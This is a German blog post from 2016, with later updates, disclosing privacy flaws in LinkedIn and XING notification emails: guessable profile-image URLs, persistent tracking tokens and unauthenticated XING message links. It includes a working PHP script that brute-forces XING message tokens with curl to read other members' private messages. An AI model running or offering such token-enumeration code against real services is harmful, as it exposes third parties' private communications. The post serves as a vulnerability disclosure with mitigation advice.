Wir alle sind infiziert vom Social Networking, den unzähligen Communities im Netz und der virtuellen Welt, in der wir oftmals durch ein 5-Zoll Display mehr Zeit verbringen, als in unserer echten Realität. Doch zu den Social Communities wie Facebook, Instagram Google+ und Co., gesellen sich auch berufliche Netzwerk-Plattforme wie Xing oder Linkedin, welche durch ihre Werbungen in allen möglichen Medien eine hohe Beliebtheit und Bekanntheitsgrad geniessen.

Wenn man zu diesen Netzwerken gehört bzw. Mitglied ist, verhält es sich nutzungstechnisch in der Regel nicht exorbitant anders als in den privaten oder mittlerweile gemischten Communities (wie z.B. Facebook): Man legt ein Profil an, fügt Kontakte zu seinem persönlichen Netzwerk hinzu, teilt und postet und schreibt sich Nachrichten, so die allgemeinen Grundfunktionen. Mit der Angabe einer E-Mail Adresse, welche ebenfalls als Benutzerkennung genutzt wird, ist man dann auch automatisch in den E-Mail-Verteilern drin, um regelmässig über Neuigkeiten oder sonstige Ereignisse informiert zu werden. Natürlich kann man meistens in den persönlichen Einstellungen des eigenen Profils selbst wählen, aus welchen Ereignissen heraus man eine E-Mail empfangen möchte, bzw. kann sich über einen bestimmten Link von Verteilerlisten austragen lassen.

Wichtig für jeden Benutzer ist es auch, selbst wählen und einstellen zu können, wie anonym er bei der Nutzung der Community-Funktionen bleiben möchte und wer letztendlich was vom eigenen Profil sehen darf. Insbesondere das vollkommene Anonymisieren bzw. Sperren des eigenen Profils gegenüber unangemeldeten Benutzern oder Seitenbesuchern ist eine wichtige Funktion, die viele nicht öffentliche, private Personen in Anspruch nehmen. Firmen dagegen präsentieren sich oftmals mit öffentlichen Profilen und der anonyme Zugang zu den Profilseiten wird stets ermöglicht, da nicht jeder Besucher auch gleich ein Mitglied der Community sein muss.

Eine private Person, welche sich in einer Business Community zwecks “Networking” oder Business-Kasperei ein solches Profil angelegt hat (ja manche tun auch dies, weil in einer nicht-atmosphärischen, virtuellen Welt sich Luft doch am besten verkaufen lässt) , geniert sich auch nicht lange rum bestimmte private Angaben zu leisten, welche für die ordentliche Nutzung der Community-Plattform unabdingbar sind. Natürlich gehören persönliche Angaben wie Name und Vorname unbedingt dazu, damit man möglichst schnell gefunden werden kann und sein Netzwerk erweitert. Aber neben den Namen darf ein aussagekräftiges Foto nicht fehlen. Denn wie auch in den privaten Communities, sind auch in den Berufs-Pendants das Bild eines Profils die halbe Miete, natürlich mit entsprechender Mindest-Seriösitätsstufe des eigenen Lichtbilds. Und auch hierbei ist es toll zu bemerken, dass bei der Anonymisierung von Profilen und Verhaltensmustern eines jeden Mitglieds, solche Informationen wie Name, Vorname und Bild ebenfalls anonymisiert werden, wenn das Mitglied die pauschale Veröffentlichung seines Profils nicht bewilligt hat. Perfekt, wenn da nicht ein Haken dabei wäre…..

Das Problem “Rundschreiben und die individuellen E-Mails”

Wie bereits genannt, hat man bei solchen Communities nicht nur die Möglichkeit ein berufliches Netzwerk zu bilden und zu pflegen, man kann sich bei bestimmten Events regelmässig über E-Mail benachrichtigen lassen oder einfach in regelmässigen Abständen Informationen zukommen lassen, wie z.B. passende Job-Angebote in Abgleich mit den Kenntnissen, welche aus dem persönlichen Profil ermittelt wurden, oder aber auch einfache Benachrichtigungen, dass eine neue Nachricht (Message) von einem Kontakt eingetroffen sei.

Einen grossen Wert legen die Community-Betreiber darauf, den Empfänger der E-Mail möglichst persönlich anzusprechen, ihm Informationen in Form von Text und Bildern zuzustellen, die einerseits den Empfänger heimisch fühlen lassen, andererseits das “Look&Feel” möglichst schön und intuitiv wirken zu lassen. Um dies zu erreichen, müssen die E-Mails in HTML Form verfasst (in der Regel automatisch erstellt) und versendet werden. Damit jedoch solche HTML E-Mails in ihrer Zustellgrösse nicht allzu gross geraten, nutzt man die Vorteile von HTML und bettet in die E-Mail-Nachricht die notwendigen Informationen als externe Inhalte ein. Sofern der eigene E-Mail-Client diese Inhalte nicht von vornherein blockiert und dem Benutzer die Entscheidung überlässt, diese auf Wunsch abzurufen, werden sie im Hintergrund dann auch geladen und die E-Mail wird in ihrer vollen Pracht dargestellt, inkl. dem Namen und Vornamen des angesprochenen Community-Mitglieds, der diese E-Mail aufgrund der hinterlegten E-Mail-Adresse erhält, sowie sein Berufstitel und aktueller Arbeitgeber und natürlich auch sein Bild!

Das dabei seine persönlichen Informationen, die er in den Profileinstellungen der Community vorher gegen anonyme Zugriffe aus dem Internet blockiert hatte als Text-Informationen in die E-Mail eingefügt werden, ist schon fast selbstverständlich. Das persönliche Profilbild wir jedoch aus diversen Gründen nicht in die E-Mail als Datei eingebettet, sondern als HTML Image-Link direkt von den Community Seiten in die E-Mail eingebunden.

linkedin_email_pic

In der HTML Darstellung sieht der Abschnitt dann folgendermassen aus

linkedin_email_pic2

Das dabei also mein Name, mein Vorname, Titel, mein Arbeitgeber und mein persönliches Bild Freihaus unverschlüsselt an mich übertragen wird und mein Profilbild hierbei per frei abrufbare URL in einem vom Servlet (bei LinkedIn ein Apache Tomcat Web Application Server) zur Laufzeit verkleinerte Version eingebunden wird (100×100 Pixel), ist datenschutzrechtlich äusserst unbedenklich! (Ich hoffe man hört die Ironie heraus).

Aber jetzt mal den Ball flach halten denken sich vielleicht so manche. Die URL selbst ist ja nicht öffentlich und wer soll schon auf die richtige Zeichenfolge kommen, um an ein anonymes, verkleinertes Bild heranzukommen, dessen Profilinformationen so nicht abrufbar sind. Nun, “Security by Obscurity” hat erst einmal nichts mit den formalen Datenschutzanforderungen zu tun. Wäre dies so, würden wir per Katz- und Maus Spiel all unsere sensitiven und persönlichen Daten vor Missbrauch verstecken müssen. Zumal der Dateneigentümer, in diesem Falle ich, erst einmal der öffentlichen oder individuellen Freigabe meiner Daten einwilligen muss. In den allgemeinen Datenschutzbestimmungen dieser Community war dies so sicherlich nicht ausgemacht.

Die genannte URL selbst ist bis zu einem gewissen Grad ohnehin statisch. Es werden alle Profilbilder mit der folgenden statischen Teil des URLs generiert. Den dynamischen Teil bilden zwei Unterverzeichnisse mit je 3 Stellen (numerische und alphanumerische Kombination) und letztlich der Name der Bilddatei, ebenfalls eine (7-Stellige) Zahlen/Buchstabenkombination mit der Endung .jpg

Der statische Teil der URL sieht wie folgt aus:

https://media.licdn.com/mpr/mpr/shrinknp_100_100/p/4/005/

Gefolgt von zwei Unterverzeichnissen und der Bilddatei sieht die vollständige URL folgendermassen aus (Illustration):

https://media.licdn.com/mpr/mpr/shrinknp_100_100/p/4/005/0b1/023/1920efd.jpg

Ich habe zum obigen Beispiel ein PHP Script geschrieben, welches eine Schleife durchläuft und dabei den variablen Anteil der URL per Zufall berechnet und bei einem HTTP Returncode ungleich 404 das entsprechende Bild darstellt. So komme ich erst einmal an die Bilder ran. Ist dabei ein Bild eines Profils per Profileinstellungen öffentlich zugänglich, kann ich über die Google Bildsuche (lokales Bild in Google ziehen und nach Ergebnissen suchen lassen) das entsprechende Profil identifizieren. Spannend, wie viele verborgenen Bilder man plötzlich sehen kann, ohne dass der Profilinhaber dies zur anonymen Einsicht freigegeben hat.

Wie bekommt LinkedIn das Matching mit Bild und Profil in der E-Mail hin

Zu jeder E-Mail, die an einen bestimmtes Mitglied versendet werden soll, generiert die Applikation URL Links, die in die jeweilige E-Mail eingebettet wird und pro Benutzer individuell ist. In diesen Links wird der Benutzer mit einer sogenannten MIDTOKEN ID verfolgt. Dieser Token ist jedoch nicht pro E-Mail und Benutzer eineindeutig sondern wird lediglich pro Benutzer erzeugt und ist dann in jeder weiteren E-Mail an diesen Benutzer der gleiche Wert. Wenn also ein Benutzer auf einen in der E-Mail hinterlegten Link geht, wird er anhand des Tokens identifiziert und beim Aufruf des Links werden bestimmte Informationen vor-ausgefüllt oder eingeblendet, wie z.B. Name, Login-Kennung und Bild. Der Wert ist ebenfalls ein alphanumerischer Wert und hat 16(14) Stellen, kann über ein “Bruteforce” Angriff berechnet werden.

Der Genannte Token kann wie folgt aussehen: 3DBQKAhtvbdgKquw (Das 3D zu Beginn dient zur Darstellungskennung, so meine Vermutung, da es auch ohne funktioniert)

Auch hier könnte man ein Script schreiben, welches die entsprechenden Tokens generiert und die entsprechende LinkedIn URLs aufruft, z.B. zum Abbstellen einer E-Mail, worin der Token zur Identifizierung des Profils hinterlegt wird. Denn wenn man eine URL aus der E-Mail heraus aufruft, werden die Token Informationen auf der aufgerufenen Seite in einem HIDDEN FIELD weiterhin hinterlegt

<input type=”hiddenname=”currenturlvalue=”…………………”>

Springt man nun auf einen weiteren Link auf der aufgerufenen Seite, so bittet LinkedIn, trotz gelöschtem Browser-Cache und Cookies, zur Anmeldung, und zwar mit vor-ausgefülltem Namen und dem Profilbild, sofern diese Informationen ohnehin nicht über die Cookie-Daten von vorherigen Besuchen heraus ermittelt werden. Somit werden nicht nur die persönlichen Daten herausgegeben, ohne zu wissen, ob der Jenige auch tatsächlich die Person hinter dem Profil ist oder nicht, sondern auch das Nutzerverhalten ausgewertet und die Aktivität verfolgt.

Wie gut, dass ich vorher von meinem E-Mail-Client Thunderbird gewarnt werde….

linkedin_email_thunderbird

Nachrichten von XING-Mitgliedern mit einem einfachen Trick abrufbar

Bei XING verhält sich das ganze noch viel viel schlimmer

Auch XING bietet ähnliche E-Mails an seine Mitglieder. Nicht nur Jobangebote oder News werden per E-Mail verschickt, sondern auch vollständige Nachrichten von anderen Mitgliedern, deren Nachrichten als Text in die E-Mails eingefügt und zwecks Einblick in den Nachrichteninhalt an das betroffene Mitglied versendet werden. Abgesehen davon, dass auch solche E-Mails in Klartext rausgehen, mit entsprechenden Tokens zur Identifikation versehen werden und den Textkörper der Nachricht beinhalten, werden auch Angaben über den Empfänger, seinem Titel und seinem Arbeitgeber gemacht, aus seinem Xing-Profil heraus. Diese Tokens verfallen nicht etwa nach einpaar Stunden oder Tagen, sie sind Langzeitpersistent und können auch nach mehreren Wochen oder Monate noch gültig sein. Der älteste Token, den ich zum Zeitpunkt dieses Beitrags untersucht hatte, war ca. 4 Monate alt und noch gültig.

Die E-Mails und deren Inhalt können auf dem Weg zum Empfänger abgefangen und der Inhalt ausgelesen werden, was die Vertraulichkeit der Nachricht zunichte macht. Aber bei XING muss man nicht die E-Mails abfangen, um an die Inhalte der womöglich vertraulichen Nachrichten zu gelangen, denn XING ebnet von Haus aus den Weg, diese Nachrichten bequem über den Webbrowser zu lesen, auch wenn diese nicht für einen selbst bestimmt sind, kostenlos und völlig Authentifizierungsfrei! Na wenn das nicht eine ehrenamtliche Wohltat für uns alle von XING Programmierern war!

Was ging schief?

Xing hat seit ca. einem halben Jahr das Format seiner HTML E-Mails geändert bzw. umgestellt. Anhand der nun neuen, kürzeren URLs ist es auch ersichtlich, das im System einige Veränderungen stattgefunden haben müssen. Es werden nicht mehr Parameter wie TokenID, MessageID oder ThreatID mitgegeben, sondern eine Kurz-URL zur betroffenen Nachricht, hinter dem die Nachricht erst einmal nicht sichtbar ist, bis das Mitglied sich richtig authentifiziert hat, für dem die Nachricht bestimmt ist. Das geschieht in der Regel mit einer relativ überschaubaren URL, welche an die Form von alphanumerischen Permalinks mit Gross/Kleinschreibung erinnert. XING nutzt jedoch neben Zahlen und Buchstaben auch einpaar Sonderzeichen wie das “-” oder weitere, mir noch unbekannte Sonderzeichen. Dabei kommen wegen dem URL Parsing nicht viele Sonderzeichen in Frage. Es könnte noch das “_” Dabei sein und wenige weitere.

Der “Identifier/Token” der Nachricht ist mit einer 21 Zeichen langen ID versehen, welche nach der Authentifizierung die entsprechende Nachricht für das Mitglied aufruft und darstellt. Folgender Link dient der Illustration, ist vom Aufbau jedoch identisch:

https://www.xing.com/m/1234567890abcdefghijk (Identifier/Token ist in Fettschrift dargestellt, der Rest der URL ist in allen E-Mails gleich)

Was zunächst als ein Code verstanden wird, ist tatsächlich gesehen kein vollständiger Code, da er aus 2 Teilen besteht: Der Identifier/Token + Aktionskennung

Die Aktionskennung ist immer das letzte Zeichen bzw. bei der Anzeige oder Aktionen den Absender betreffend zweistellig im gesamten Code hinterlegt.

Wenn der Empfänger der XING E-Mail Aktionen aus den in der E-Mail bereitgestellten Links ausführen will, die etwas mit der Nachricht zu tun haben, ist die Ziffer immer eine A, gefolgt von einer weiteren Ziffer (22. Stelle), die die Aktion identifizieren soll:

Folgende Aktionscodes werden bei jeder Nachricht dem jeweiligen Token angefügt:

A für Nachricht und ein weiteres A fürs Anzeigen der Nachricht im Browser.
In der E-Mail versteckt und nicht angezeigt wird hierfür ein weiterer Aktionscode, der sich gleichermassen wie AA verhält. Dieser Code lautet gA:

Beispiel: https://www.xing.com/m/1234567890abcdefghijAA  (Authentifizierung nicht notwendig!)
Beispiel: https://www.xing.com/m/1234567890abcdefghijgA   (Authentifizierung nicht notwendig!)

i für das Lesen der Nachricht auf den XING Webseiten:
Beispiel: https://www.xing.com/m/1234567890abcdefghiji

A für Nachricht und ein weiteres B,C oder D für das Anzeigen des Profils des Absenders (Authentifizierung notwendig)
Beispiel: https://www.xing.com/m/1234567890abcdefghijAB
Beispiel: https://www.xing.com/m/1234567890abcdefghijAC
Beispiel: https://www.xing.com/m/1234567890abcdefghijAD

A für Nachricht und ein weiteres E für das Beantworten der Nachricht
Beispiel: https://www.xing.com/m/1234567890abcdefghijAE (Authentifizierung notwendig)

Um lediglich aus der E-Mail Heraus die eigene Xing Startseite aufzurufen, wird ein B Statt A hinterlegt:
Beispiel: https://www.xing.com/m/1234567890abcdefghijB (Authentifizierung notwendig)

Nun ist es jedoch so, dass XING dem Mitglied, welches eine Nachricht erhält, innerhalb seiner Benachrichtigungs-E-Mail anbietet, die Nachricht, so wie sie per E-Mail und als HTML Text verschickt wurde, auch im eigenen Webbrowser lesen zu können. Dazu fügt Xing ganz oben in der E-Mail einen Link hinzu, der die HTML E-Mail dann im Webbrowser zum besseren Lesen öffnen soll:

“Falls die E-Mail nicht korrekt angezeigt wird, klicken Sie bitte hier.”

xing_mail_1

Demnach muss ich als Benutzer also im Webbrowser lediglich die URL mit dem richtigen Token sowie der Aktionskennung aufrufen, in diesem Fall also AA oder gA

Beispiel:
https://www.xing.com/m/1234567890abcdefghijAA oder
https://www.xing.com/m/1234567890abcdefghijgA

Da die Länge des eigentlichen Tokens, welches den gesamten Kontext identifiziert und mit dem richtigen Aktionscode gar die Nachricht ohne Authentifizierung des Mitglieds an seinem Webbrowser anzeigen lässt, nun tatsächlich nur noch 20 Zeichen lang ist, ist es kein Problem sich per Script ähnliche Tokens generieren zu lassen und diese mit dem entsprechenden Anzeige-Code zu ergänzen, um an die Nachrichten jeglicher Mitglieder zu gelangen und zu sehen, was sie an welche Mitglieder schreiben. Auch dabei werden private Daten wie Name, Arbeitgeber, Titel und das Bild des Absenders gezeigt. Die BILD-URLs gleichen sich ebenfalls wie bei LinkedIn von ihrem URL-Aufbau her. Daher sind Bilddaten, auch wenn diese vom Profil-Eigner nicht freigegeben wurden, leicht zu erraten:

Bildpfade aus XING E-Mails (Beispiele):

https://www.xing.com/img/users/4/b/d/<ALPHANUM.ALPHANUM,ZAHL>.96×96.jpg

oder

https://x2.xingassets.com/img/users/4/3/e/<ALPHANUM.ALPHANUM,ZAHL>.96×96.jpg

Fazit:

Sowohl LinkedIn als auch Xing müssen dringend etwas gegen ihre Datenschutzschwachstellen tun.

Bei XING ist es besonders brisant, da man durch einfaches Scripten und zufällig generierten Tokens ohne Authentifizierung an Nachrichten anderer Mitglieder gelangen könnte und somit die Vertraulichkeit und die Integrität der Nachrichten und der Mitglieder gefährdet sind. Was also wahrscheinlich als Komfortfunktion angedacht war, ist das grösste Übel der gewollten Vertraulichkeit und des Informationsschutzes. Hier wurde wieder “Security by Obscurity” angewandt, welches Anbetracht der heutigen Rechenleistung und der Fähigkeiten von Angreifern wohl kaum Stand halten dürfte. Daher empfehle ich dringend allen XING Mitgliedern den Austausch von vertraulichen Informationen über die XING Nachricht-Funktion bis zur Schliessung der Lücke durch den Betreiber zu unterlassen.

(Stand: 20. April 2016, Änderungen vorbehalten).


UPDATE 1 (20.04.16 – 23:45):

Nachfolgend ein PHP Testscript, welches ich auf die Schnelle geschrieben habe (Quick&Dirty ohne Optimierung). Es funktioniert und wurde getestet. Das PHP Script wird von einem anderen Webserver aus oder lokal über die Konsole ausgeführt (PHP Interpreter notwendig). Es generiert Xing konforme Nachrichten-Tokens und bindet diese an den statischen Rest der URL und testet diese gegen die Xing Seite in einer rekursiven Schleife, bis eine Nachricht gefunden und auf dem Browser oder in der Konsole ausgegeben wurde.

Der Code soll lediglich zur technischen Veranschaulichung der Sicherheitslücke dienen. Die Anwendung des Quellcodes kann ggf. strafrechtliche Konsequenzen für den Anwender haben!!

//BEGIN—–

<?php

function RandomString()
{
    $characters = ‘0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-‘;
    $randstring = ”;
    for ($i = 1; $i < 21; $i++) {
        $randstring .= $characters[rand(0, strlen($characters))];
    }
    $token=$randstring.’AA’;
    return $token;
}

function get_message_by_url()
{
$url=’https://www.xing.com/m/’;
$ID = RandomString();
$urlstring = $url.$ID;

$handle = curl_init($urlstring);
curl_setopt($handle,  CURLOPT_RETURNTRANSFER, TRUE);
$response = curl_exec($handle);
$httpCode = curl_getinfo($handle, CURLINFO_HTTP_CODE);
curl_close($handle);

    if($httpCode != 404) {
    echo $response;
    exit;
    }
    else {
    get_message_by_url();
    }
}
   //Main
get_message_by_url();
?>

//—–END


UPDATE 2 (21.04.16 – 14:45)

Ein weiterer Test zeigt, dass selbst nach dem Löschen von einer Nachricht oder eines gesamten Nachrichten-Threats innerhalb XING, die Nachrichten selbst über die genannten Links immer noch vorhanden und lesbar sind.

Ich gehe daher davon aus, dass die Nachrichten in eine Art Schattendatenbank synchronisiert und ggf. sogar in der DMZ von XING vorgehalten werden. Nach regelmässigen Synchronisations-Jobs sollten dann die Nachrichten endgültig gelöscht werden. Dies muss jedoch zu einem späteren Zeitpunkt geprüft werden.  Ein weiterer Update in diesem Beitrag wird diese Frage zu einem späteren Zeitpunkt beantworten.


UPDATE 3 (22.04.16 – 00:15)

Selbst nach 10 Stunden sind die Kopien der Nachrichten immer noch öffentlich zugänglich, auch wenn die Quellen in XING selbst schon lange gelöscht wurden. Es scheint kein Abgleich zu geben, zumindest kein zeitnaher. Unglaublich….

Update 3.1 (14.03.17 – 14:00)

Es scheint so, als ob XING nun endlich das Problem mit den Archivleichen in den Griff bekommen hat. Meine Nachrichten sind nun endlich nicht mehr öffentlich zugänglich. Auch wenn ich mein Konto bei XING  bereits lange vorher gelöscht hatte, waren diese noch einzusehen. Nun kommt eine Fehlermeldung, was mich mittlerweile beruhigt. Warum es so lange gedauert hat, solch einen einfachen Abgleich zu implementieren, kann ich jedoch nicht beantworten.


UPDATE 4 (22.04.16 – 13:00)

Es scheint so, als ob XING für die Anlieferung der E-Mails so etwas wie SparkPost einsetzt. In den E-Mail Headern ist ersichtlich, dass die Informationen über APIs abgefüllt werden. Das erkennt man am besten am eingefügten X-MSFBL Header.

Der Wert des Headers ab dem | (Pipe Zeichen) Seperator ist Base64 encodiert und gibt folgendes Muster bei der Decodierung wieder, für E-Mails mit Nachrichteninhalt:

{“r”:”Deine@Emailadresse.de“,”b”:”mout1-91″,”u”:”messages/new-pm;1234567890abcdefghijk“,”g”:”mout1-xing”}

Für E-Mails ohne Nachrichteninhalt:

{“b”:”mout2-88″,”g”:”mout2-xing”,”u”:”messages/new-pm;1234567890abcdefghijk“,”r”:”Deine@Emailadresse.de“}

Der Token wird also bereits im Header der E-Mail mitgegeben!?

Das könnte den Grund haben, dass die versendeten E-Mails erst nach der Ablage der Nachrichtenkopie erzeugt und versendet werden, da der Token in der E-Mail erst einmal nichts mit dem Header der E-Mail zu tun hat. Es könnte sich jedoch auch um eine Archivierungs-Header handeln.


VORLÄUFIGE UND TEILWEISE ABHILFE FÜR XING MITGLIEDER

Wer sich vor dieser Sicherheitslücke von XING schützen will, muss eine bestimmte Einstellung in den Profileinstellungen von XING vornehmen bzw. abwählen.

Damit bewirkt man zwar, dass die vertraulichen Inhalte der Nachrichten nicht mehr frei und von jeden abrufbar sind, jedoch kann dies nicht unterdrücken, dass weiterhin die Kommunikationspartner sowie der Betreff einer Nachricht öffentlich sichtbar sind.

Besser ist es, wenn man die Benachrichtigungs-E-Mails bei neuen Nachrichten gänzlich abwählt. Allerdings kann ich nicht sagen, ob die offenen Links seitens XING nicht dennoch generiert werden und die Nachrichten somit weiterhin sichtbar bleiben. Ich vermute, dass die Einstellungen, die Verlinkung der Nachrichten aus den E-Mails gänzlich beeinflussen, da die offenen Links nur in den Benachrichtigungs-E-Mails von XING vorkommen und sich entsprechend so verhalten, wie es die Einstellungen vorgeben.

Übrigens werden auch Nachrichten innerhalb der neuen Kontaktanfragen auf die gleiche Weise angezeigt. Somit kann man auch rausfinden, wer sich mit wem verknüpft hat und was in der Initialnachricht (Grund der Kontaktaufnahme) der Kontaktanfrage steht.

Folgende Einstellung muss abgewählt werden, damit die Inhalte nicht öffentlich abgerufen werden können:

Xing-Email-Einstellungen